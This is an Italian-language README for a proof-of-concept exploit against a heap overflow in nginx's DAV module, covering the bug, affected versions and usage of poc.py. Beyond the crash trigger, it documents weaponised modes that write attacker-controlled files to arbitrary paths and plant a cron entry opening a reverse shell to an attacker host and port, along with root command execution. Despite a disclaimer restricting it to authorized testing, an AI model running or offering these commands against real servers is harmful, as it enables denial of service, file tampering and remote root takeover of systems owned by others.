
NGINX `ngx_http_dav_module` Heap Buffer Overflow tramite Underflow di `size_t` (DoS remoto / Potenziale RCE)
NGINX ngx_http_dav_module Heap Buffer Overflow tramite Underflow di size_t (DoS Remoto / Potenziale RCE)
ngx_http_dav_copy_move_handler() in src/http/modules/ngx_http_dav_module.c
calcola la lunghezza dell'URI di destinazione sottraendo la lunghezza del prefisso della location
dal componente del percorso URI dell'intestazione Destination. Entrambi i valori sono size_t
(unsigned a 64 bit). Quando il percorso di destinazione è più corto del prefisso della
location, la sottrazione va in wrap-around a ~0, producendo una lunghezza memcpy enorme che
causa un overflow di un'allocazione heap di 7 byte e crash del processo worker.
Una singola richiesta MOVE o COPY appositamente predisposta verso una location DAV mappata con alias
innesca l'overflow. Il master di nginx riavvia il worker, ma richieste ripetute
mantengono il server in un ciclo continuo di crash.
ASan conferma: negative-size-param: (size=-7) in memcpy in
ngx_http_core_module.c:1949, chiamato da ngx_http_dav_copy_move_handler.
Versione affetta: nginx dalla 0.5.13 alla 1.28.2 (stable) e dalla 1.29.0 alla 1.29.6
(mainline), compilato con --with-http_dav_module e che utilizza alias nella
location DAV. Risolto nella 1.28.3 / 1.29.7 (commit ab4b5b8, PR #1210).
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh # non-ASan build (observes SIGSEGV crash)
./run.sh --asan # ASan build (definitive proof)
./run.sh --both # run both sequentially
# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose
La modalità predefinita rimane l'innesco di crash canonico. Invia PUT seguito da
un MOVE appositamente predisposto il cui percorso Destination è più corto del prefisso della location DAV:
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
Per configurazioni di laboratorio autorizzate in cui la gestione della destinazione DAV consente un
escape relativo della destinazione, lo stesso strumento può fornire contenuto controllato dall'attaccante
a un percorso scelto. I valori esatti di --location-prefix, --escape-depth e il
percorso di destinazione devono provenire dalla propria configurazione del servizio e ricognizione:
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <ATTACKER_IP> --lport 4444
# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file, cron-shell e cron-cmd sono helper generici di distribuzione per
ambienti autorizzati con una sorgente DAV scrivibile e un escape del percorso di destinazione.
Non sono necessari per dimostrare il crash canonico da overflow heap.
--with-http_dav_module, blocco location che utilizza
alias (non root), dav_methods include COPY o MOVErequests viene utilizzato quando disponibile, altrimenti il PoC
ricade sulla libreria standard di Python per target HTTP semplici.gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget| File | Descrizione |
|---|---|
poc.py | PoC Python -- innesco di crash canonico più modalità generiche di destinazione COPY/MOVE |
run.sh | Compila nginx dal sorgente (ASan / non-ASan) ed esegue il PoC |
Dockerfile | Build multi-stage di nginx vulnerabile 1.28.2 |
docker-compose.yml | Setup Docker con un comando |
nginx.conf | Configurazione vulnerabile (alias + dav_methods COPY MOVE) |
proof_output.txt | Output ASan dalla verifica live |
Questo progetto è rilasciato sotto la GNU GPLv3.
È fornito per ricerca sulla sicurezza difensiva, istruzione e test autorizzati. Non utilizzare questo codice contro sistemi o servizi senza esplicita autorizzazione del proprietario.
L'uso non autorizzato può violare le leggi applicabili. Gli autori non concedono il permesso di testare sistemi di terze parti e non sono responsabili per un uso improprio.
Vedi il file LICENSE per i termini di garanzia e responsabilità.